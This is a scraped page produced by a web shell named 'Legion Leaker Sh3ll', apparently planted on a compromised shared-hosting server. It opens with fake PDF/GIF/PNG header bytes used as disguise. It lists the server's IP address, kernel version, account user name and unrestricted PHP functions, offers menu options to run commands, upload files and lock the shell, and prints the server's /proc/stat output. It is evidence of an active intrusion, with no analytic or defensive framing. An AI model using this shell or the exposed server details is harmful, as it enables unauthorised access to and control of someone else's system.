489495df%PDF- %GIF98; %PNG; Legion Leaker Sh3ll
Legion Leaker Sh3ll
Server IP : 162.241.194.38  /  Your IP : 3.141.6.24
Web Server : Apache
System : Linux gator4304.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : mandnweb ( 2800)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Sh3ll  ][  Logout  ]

Current File : //proc/stat
cpu  18708479175 6378314469 7100226637 51769859824 797373340 0 158223666 114481063 0 0
cpu0 769149036 260739392 295259321 2162973227 32365474 0 17243982 5188699 0 0
cpu1 780946342 268628567 297133258 2148592105 33631317 0 9554266 5035643 0 0
cpu2 786539178 271489730 298330353 2142833777 33944929 0 5835652 4882128 0 0
cpu3 791094854 273219129 299197747 2137571860 34122018 0 3900233 4832445 0 0
cpu4 789768516 272017298 298716237 2141715966 33968369 0 2857796 4814715 0 0
cpu5 788629951 270951326 298489783 2144683413 33859186 0 2244541 4748416 0 0
cpu6 789459411 270593561 298106710 2144713222 33769692 0 1847056 4694026 0 0
cpu7 787508959 269470069 297758023 2149004742 33751246 0 1606939 4691904 0 0
cpu8 785741188 268385594 297178338 2152757388 33610941 0 1476183 4721121 0 0
cpu9 785389841 268125059 296890840 2153996932 33542440 0 1337140 4697377 0 0
cpu10 784238509 266962431 296624976 2156647131 33471109 0 1258473 4708512 0 0
cpu11 783210531 266718096 296292404 2158412790 33405508 0 1202303 4685420 0 0
cpu12 782994209 266349807 295898283 2159597639 33357210 0 1157665 4659401 0 0
cpu13 755013263 257776525 284759746 2088972303 31559805 0 96135071 5583815 0 0
cpu14 784174879 264851858 297028849 2158935739 33265910 0 1111605 4661977 0 0
cpu15 782325763 264256161 296393014 2162138407 33142123 0 1093355 4668297 0 0
cpu16 780502320 263579140 295742040 2165183605 33134926 0 1074323 4659883 0 0
cpu17 778105666 262410472 295155092 2169414817 33031241 0 1064111 4662460 0 0
cpu18 776557824 262123370 294797025 2171673283 32964190 0 1052701 4647397 0 0
cpu19 773119201 260419415 294221809 2177502131 32534449 0 1047065 4631041 0 0
cpu20 773003039 260244612 294045584 2178246410 32891373 0 1039543 4658849 0 0
cpu21 772350724 260129583 293830795 2178994418 32792213 0 1032596 4669183 0 0
cpu22 766779258 257595477 293174904 2187898149 32596162 0 1030566 4676254 0 0
cpu23 761876700 271277786 295201495 2177400359 32661497 0 1020488 4602089 0 0
intr 270069820354 48 9 0 0 351 0 3 0 0 0 0 583931 15 0 0 0 0 0 0 0 0 0 0 0 0 43 0 0 0 1014673748 1048482633 1058194914 1064556756 1060748857 1058000017 1057212564 1056678816 1052224274 1052157744 1050460452 1049199192 1048054257 1027566192 1046126272 1043686781 1043574159 1041546412 1039997476 1010830754 1038839001 1035626908 1029723656 1033880085 0 2739591101 552340 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 1421328863114
btime 1711635204
processes 2695857785
procs_running 13
procs_blocked 0
softirq 146698952413 4 3532697085 866130395 3311469943 0 0 35629666 3474678909 14729644 2319630591

Legion Leaker Team -2025